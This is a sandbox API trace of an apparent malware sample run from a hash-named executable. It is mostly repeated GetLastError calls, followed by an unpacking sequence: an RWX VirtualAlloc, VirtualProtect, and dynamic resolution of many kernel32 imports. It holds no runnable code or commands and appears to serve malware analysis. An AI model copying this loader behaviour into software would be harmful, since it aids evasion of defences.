[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.592] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.593] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.837] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.838] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.839] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.840] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.841] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.842] GetLastError () returned 0x57
[0043.843] GetLastError () returned 0x57
[0043.843] GetLastError () returned 0x57
[0043.843] GetLastError () returned 0x57
[0043.924] LoadLibraryA (lpLibFileName="msimg32.dll") returned 0x70350000
[0043.934] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76840000
[0043.934] GetProcAddress (hModule=0x76840000, lpProcName="GlobalAlloc") returned 0x76859950
[0043.934] GetProcAddress (hModule=0x76840000, lpProcName="GetLastError") returned 0x76853870
[0043.934] GetProcAddress (hModule=0x76840000, lpProcName="Sleep") returned 0x76857990
[0043.934] GetProcAddress (hModule=0x76840000, lpProcName="VirtualAlloc") returned 0x76857810
[0043.934] GetProcAddress (hModule=0x76840000, lpProcName="CreateToolhelp32Snapshot") returned 0x76867b50
[0043.935] GetProcAddress (hModule=0x76840000, lpProcName="Module32First") returned 0x768844b0
[0043.935] GetProcAddress (hModule=0x76840000, lpProcName="CloseHandle") returned 0x76866630
[0043.935] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0xc0
[0043.941] Module32First (hSnapshot=0xc0, lpme=0x19dc44) returned 1
[0043.942] VirtualAlloc (lpAddress=0x0, dwSize=0x56467, flAllocationType=0x1000, flProtect=0x40) returned 0x500000
[0043.956] GetProcAddress (hModule=0x76840000, lpProcName="LoadLibraryA") returned 0x76864bf0
[0043.956] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76840000
[0043.956] GetProcAddress (hModule=0x76840000, lpProcName="VirtualAlloc") returned 0x76857810
[0043.956] GetProcAddress (hModule=0x76840000, lpProcName="VirtualProtect") returned 0x76857a50
[0043.956] GetProcAddress (hModule=0x76840000, lpProcName="VirtualFree") returned 0x76857600
[0043.957] GetProcAddress (hModule=0x76840000, lpProcName="GetVersionExA") returned 0x7685a700
[0043.957] GetProcAddress (hModule=0x76840000, lpProcName="TerminateProcess") returned 0x76865100
[0043.957] GetProcAddress (hModule=0x76840000, lpProcName="ExitProcess") returned 0x76867b30
[0043.957] GetProcAddress (hModule=0x76840000, lpProcName="SetErrorMode") returned 0x76858d20
[0043.957] SetErrorMode (uMode=0x400) returned 0x0
[0043.957] SetErrorMode (uMode=0x0) returned 0x400
[0043.957] GetVersionExA (in: lpVersionInformation=0x19cb74*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x9000d, dwMinorVersion=0x68a5c8, dwBuildNumber=0x9, dwPlatformId=0x19cbac, szCSDVersion="y\x04ðv:e\x1b©À") | out: lpVersionInformation=0x19cb74*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
[0043.957] VirtualAlloc (lpAddress=0x0, dwSize=0x55600, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000
[0043.969] VirtualProtect (in: lpAddress=0x400000, dwSize=0x6c000, flNewProtect=0x40, lpflOldProtect=0x19dbfc | out: lpflOldProtect=0x19dbfc*=0x2) returned 1
[0044.199] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0044.204] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76840000
[0044.205] GetProcAddress (hModule=0x76840000, lpProcName="VirtualFree") returned 0x76857600
[0044.205] GetProcAddress (hModule=0x76840000, lpProcName="VirtualAlloc") returned 0x76857810
[0044.205] GetProcAddress (hModule=0x76840000, lpProcName="Sleep") returned 0x76857990
[0044.205] GetProcAddress (hModule=0x76840000, lpProcName="LocalAlloc") returned 0x76857a30
[0044.205] GetProcAddress (hModule=0x76840000, lpProcName="lstrlenA") returned 0x76858c80
[0044.205] GetProcAddress (hModule=0x76840000, lpProcName="lstrcatA") returned 0x7685f640
[0044.205] GetProcAddress (hModule=0x76840000, lpProcName="GetProcAddress") returned 0x768578b0
[0044.205] GetProcAddress (hModule=0x76840000, lpProcName="LoadLibraryA") returned 0x76864bf0
[0044.205] GetProcAddress (hModule=0x76840000, lpProcName="GetCurrentProcess") returned 0x768538c0
[0044.205] GetProcAddress (hModule=0x76840000, lpProcName="GetLogicalProcessorInformationEx") returned 0x769fb6b0
[0044.205] GetProcAddress (hModule=0x76840000, lpProcName="CloseHandle") returned 0x76866630
[0044.205] GetProcAddress (hModule=0x76840000, lpProcName="Process32Next") returned 0x7685d1c0
[0044.206] GetProcAddress (hModule=0x76840000, lpProcName="Process32First") returned 0x7685f4d0
[0044.206] GetProcAddress (hModule=0x76840000, lpProcName="CreateToolhelp32Snapshot") returned 0x76867b50
[0044.206] GetProcAddress (hModule=0x76840000, lpProcName="FindNextFileW") returned 0x768669a0
[0044.206] GetProcAddress (hModule=0x76840000, lpProcName="FindFirstFileW") returned 0x76866960
[0044.206] GetProcAddress (hModule=0x76840000, lpProcName="GetProcessHeap") returned 0x76857710
[0044.206] GetProcAddress (hModule=0x76840000, lpProcName="VirtualAllocExNuma") returned 0x76882710
[0044.206] GetProcAddress (hModule=0x76840000, lpProcName="VirtualProtect") returned 0x76857a50
[0044.206] GetProcAddress (hModule=0x76840000, lpProcName="ExitProcess") returned 0x76867b30
[0044.206] GetProcAddress (hModule=0x76840000, lpProcName="SetEndOfFile") returned 0x76866c00
[0044.206] GetProcAddress (hModule=0x76840000, lpProcName="CreateFileW") returned 0x76866890
[0044.206] GetProcAddress (hModule=0x76840000, lpProcName="CreateFileA") returned 0x76866880
[0044.206] GetProcAddress (hModule=0x76840000, lpProcName="SetStdHandle") returned 0x76882430
[0044.207] GetProcAddress (hModule=0x76840000, lpProcName="WriteConsoleW") returned 0x76867020
[0044.207] GetProcAddress (hModule=0x76840000, lpProcName="LoadLibraryW") returned 0x7685a840
[0044.207] GetProcAddress (hModule=0x76840000, lpProcName="IsValidLocale") returned 0x7685ab40
[0044.207] GetProcAddress (hModule=0x76840000, lpProcName="EnumSystemLocalesA") returned 0x76880b70
[0044.207] GetProcAddress (hModule=0x76840000, lpProcName="GetLocaleInfoA") returned 0x7685e7b0
[0044.207] GetProcAddress (hModule=0x76840000, lpProcName="GetUserDefaultLCID") returned 0x76862920
[0044.207] GetProcAddress (hModule=0x76840000, lpProcName="HeapReAlloc") returned 0x76efefe0
[0044.207] GetProcAddress (hModule=0x76840000, lpProcName="InterlockedIncrement") returned 0x76862a00
[0044.207] GetProcAddress (hModule=0x76840000, lpProcName="InterlockedDecrement") returned 0x76862a20
[0044.207] GetProcAddress (hModule=0x76840000, lpProcName="WideCharToMultiByte") returned 0x76853880
[0044.207] GetProcAddress (hModule=0x76840000, lpProcName="InterlockedExchange") returned 0x76857870
[0044.207] GetProcAddress (hModule=0x76840000, lpProcName="InitializeCriticalSection") returned 0x76f2a200
[0044.208] GetProcAddress (hModule=0x76840000, lpProcName="DeleteCriticalSection") returned 0x76f20e60
[0044.208] GetProcAddress (hModule=0x76840000, lpProcName="EnterCriticalSection") returned 0x76f0f290
[0044.208] GetProcAddress (hModule=0x76840000, lpProcName="LeaveCriticalSection") returned 0x76f0f210
[0044.208] GetProcAddress (hModule=0x76840000, lpProcName="EncodePointer") returned 0x76f2f730
[0044.208] GetProcAddress (hModule=0x76840000, lpProcName="DecodePointer") returned 0x76f2d830
[0044.208] GetProcAddress (hModule=0x76840000, lpProcName="MultiByteToWideChar") returned 0x76852ad0
[0044.208] GetProcAddress (hModule=0x76840000, lpProcName="HeapAlloc") returned 0x76f02bd0
[0044.208] GetProcAddress (hModule=0x76840000, lpProcName="GetLastError") returned 0x76853870
[0044.208] GetProcAddress (hModule=0x76840000, lpProcName="HeapFree") returned 0x76851ba0
[0044.208] GetProcAddress (hModule=0x76840000, lpProcName="RaiseException") returned 0x76858c20
[0044.208] GetProcAddress (hModule=0x76840000, lpProcName="RtlUnwind") returned 0x76858c10
[0044.208] GetProcAddress (hModule=0x76840000, lpProcName="GetSystemTimeAsFileTime") returned 0x76857620
[0044.208] GetProcAddress (hModule=0x76840000, lpProcName="GetCommandLineA") returned 0x7685ab60
[0044.209] GetProcAddress (hModule=0x76840000, lpProcName="HeapSetInformation") returned 0x7685a8e0
[0044.209] GetProcAddress (hModule=0x76840000, lpProcName="GetStartupInfoW") returned 0x7685a740
[0044.209] GetProcAddress (hModule=0x76840000, lpProcName="LCMapStringW") returned 0x76859f30
[0044.209] GetProcAddress (hModule=0x76840000, lpProcName="GetCPInfo") returned 0x7685a290
[0044.209] GetProcAddress (hModule=0x76840000, lpProcName="IsProcessorFeaturePresent") returned 0x76859bf0
[0044.209] GetProcAddress (hModule=0x76840000, lpProcName="TerminateProcess") returned 0x76865100
[0044.209] GetProcAddress (hModule=0x76840000, lpProcName="UnhandledExceptionFilter") returned 0x76882670
[0044.209] GetProcAddress (hModule=0x76840000, lpProcName="SetUnhandledExceptionFilter") returned 0x7685a940
[0044.209] GetProcAddress (hModule=0x76840000, lpProcName="IsDebuggerPresent") returned 0x7685b0b0
[0044.209] GetProcAddress (hModule=0x76840000, lpProcName="GetModuleHandleW") returned 0x76859bc0
[0044.209] GetProcAddress (hModule=0x76840000, lpProcName="WriteFile") returned 0x76866ca0
[0044.209] GetProcAddress (hModule=0x76840000, lpProcName="GetStdHandle") returned 0x7685a6e0
[0044.210] GetProcAddress (hModule=0x76840000, lpProcName="GetModuleFileNameW") returned 0x76859b00
[0044.210] GetProcAddress (hModule=0x76840000, lpProcName="HeapCreate") returned 0x7685a100
[0044.210] GetProcAddress (hModule=0x76840000, lpProcName="TlsAlloc") returned 0x7685a120
[0044.210] GetProcAddress (hModule=0x76840000, lpProcName="TlsGetValue") returned 0x76851b70
[0044.210] GetProcAddress (hModule=0x76840000, lpProcName="TlsSetValue") returned 0x768529d0
[0044.210] GetProcAddress (hModule=0x76840000, lpProcName="TlsFree") returned 0x7685a040
[0044.210] GetProcAddress (hModule=0x76840000, lpProcName="SetLastError") returned 0x76852af0
[0044.210] GetProcAddress (hModule=0x76840000, lpProcName="GetCurrentThreadId") returned 0x76851b90
[0044.210] GetProcAddress (hModule=0x76840000, lpProcName="GetACP") returned 0x76858500
[0044.210] GetProcAddress (hModule=0x76840000, lpProcName="GetOEMCP") returned 0x76865140
[0044.210] GetProcAddress (hModule=0x76840000, lpProcName="IsValidCodePage") returned 0x7685a790
[0044.210] GetProcAddress (hModule=0x76840000, lpProcName="HeapSize") returned 0x76efbb20
[0044.210] GetProcAddress (hModule=0x76840000, lpProcName="SetHandleCount") returned 0x768650e0
[0044.211] GetProcAddress (hModule=0x76840000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76866730
[0044.211] GetProcAddress (hModule=0x76840000, lpProcName="GetFileType") returned 0x76866aa0
[0044.211] GetProcAddress (hModule=0x76840000, lpProcName="GetConsoleCP") returned 0x76866f60
[0044.211] GetProcAddress (hModule=0x76840000, lpProcName="GetConsoleMode") returned 0x76866f70
[0044.211] GetProcAddress (hModule=0x76840000, lpProcName="FlushFileBuffers") returned 0x768669b0
[0044.211] GetProcAddress (hModule=0x76840000, lpProcName="ReadFile") returned 0x76866bb0
[0044.211] GetProcAddress (hModule=0x76840000, lpProcName="SetFilePointer") returned 0x76866c40
[0044.211] GetProcAddress (hModule=0x76840000, lpProcName="GetModuleFileNameA") returned 0x7685a720
[0044.211] GetProcAddress (hModule=0x76840000, lpProcName="FreeEnvironmentStringsW") returned 0x7685a7e0
[0044.211] GetProcAddress (hModule=0x76840000, lpProcName="GetEnvironmentStringsW") returned 0x7685aac0
[0044.211] GetProcAddress (hModule=0x76840000, lpProcName="QueryPerformanceCounter") returned 0x768538a0
[0044.211] GetProcAddress (hModule=0x76840000, lpProcName="GetTickCount") returned 0x76865eb0
[0044.211] GetProcAddress (hModule=0x76840000, lpProcName="GetCurrentProcessId") returned 0x768523e0
[0044.212] GetProcAddress (hModule=0x76840000, lpProcName="GetStringTypeW") returned 0x76857950
[0044.212] GetProcAddress (hModule=0x76840000, lpProcName="GetLocaleInfoW") returned 0x7685cd70
[0044.212] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x73f00000
[0044.212] GetProcAddress (hModule=0x73f00000, lpProcName="ReleaseDC") returned 0x73f1ba40
[0044.212] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x76ab0000
[0044.212] GetProcAddress (hModule=0x76ab0000, lpProcName="GetDeviceCaps") returned 0x76b30fe0
[0044.212] GetProcAddress (hModule=0x76ab0000, lpProcName="CreateDCA") returned 0x76b33d70
[0044.212] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x74a30000
[0044.520] GetProcAddress (hModule=0x74a30000, lpProcName="CoCreateInstance") returned 0x74700060
[0044.520] GetProcAddress (hModule=0x74a30000, lpProcName="CoInitializeSecurity") returned 0x74743870
[0044.520] GetProcAddress (hModule=0x74a30000, lpProcName="CoInitializeEx") returned 0x746d88d0
[0044.520] GetProcAddress (hModule=0x74a30000, lpProcName="CoSetProxyBlanket") returned 0x746d60a0
[0044.520] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x73da0000
[0044.524] GetProcAddress (hModule=0x73da0000, lpProcName=0x6) returned 0x73db9d40
[0044.524] GetProcAddress (hModule=0x73da0000, lpProcName=0x9) returned 0x73db9570
[0044.524] GetProcAddress (hModule=0x73da0000, lpProcName=0x8) returned 0x73db2590
[0044.524] GetProcAddress (hModule=0x73da0000, lpProcName=0x2) returned 0x73db9c90
[0044.524] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x70290000
[0044.565] GetProcAddress (hModule=0x70290000, lpProcName="atexit") returned 0x702ac544
[0044.565] atexit (param_1=0x500920) returned 0
[0044.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19dc10 | out: lpSystemTimeAsFileTime=0x19dc10*(dwLowDateTime=0x753f3c5b, dwHighDateTime=0x1d96e12))
[0044.567] GetCurrentProcessId () returned 0x12ec
[0044.567] GetCurrentThreadId () returned 0x12f0
[0044.567] GetTickCount () returned 0x14ddf21
[0044.567] QueryPerformanceCounter (in: lpPerformanceCount=0x19dc08 | out: lpPerformanceCount=0x19dc08*=2204298645738) returned 1
[0044.601] GetStartupInfoW (in: lpStartupInfo=0x19dbb4 | out: lpStartupInfo=0x19dbb4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0))
[0044.601] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
[0044.603] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x670000
[0044.631] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0044.631] GetProcAddress (hModule=0x76840000, lpProcName="FlsAlloc") returned 0x7685a980
[0044.631] GetProcAddress (hModule=0x76840000, lpProcName="FlsGetValue") returned 0x76857570
[0044.631] GetProcAddress (hModule=0x76840000, lpProcName="FlsSetValue") returned 0x76859e30
[0044.631] GetProcAddress (hModule=0x76840000, lpProcName="FlsFree") returned 0x76864ff0
[0044.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x214) returned 0x6705a8
[0045.032] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0045.033] GetCurrentThreadId () returned 0x12f0
[0045.033] GetStartupInfoW (in: lpStartupInfo=0x19db50 | out: lpStartupInfo=0x19db50*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0))
[0045.033] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x800) returned 0x6707c8
[0045.033] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
[0045.033] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
[0045.033] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
[0045.033] SetHandleCount (uNumber=0x20) returned 0x20
